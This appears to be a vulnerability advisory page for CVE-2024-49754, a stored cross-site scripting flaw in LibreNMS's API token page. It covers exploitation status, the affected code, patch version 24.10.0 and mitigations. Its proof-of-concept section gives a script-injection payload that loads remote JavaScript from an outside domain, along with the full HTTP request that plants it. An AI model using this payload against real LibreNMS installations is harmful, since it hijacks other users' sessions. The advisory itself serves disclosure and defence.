CVE-2024-49754 is a high-severity (CVSS 7.5) Cross-site Scripting (XSS) vulnerability in librenms/librenms. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for librenms/librenms — see the affected versions and patch details below.
LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-49754.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.
Details
The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column.
The payload used to exploit this vulnerability is: '"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The vulnerability is due to insufficient sanitization of the "token_hash" variable before it is output in the HTML. This is evident in the following lines of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153
PoC
- Create a new API token with the following payload in the "token" parameter:
'"><script/src=//15.rs></script> - Save the token.
- Navigate to the API Access page.
- Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>
_token=<your_token>&user_id=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create
Impact
The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.10.0composer require librenms/librenms:^24.10.0 |
Affected Products
librenmslibrenmsResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 24.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-49754 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2024-49754 in your dependencies?
Find it across Packagist, including transitive dependencies.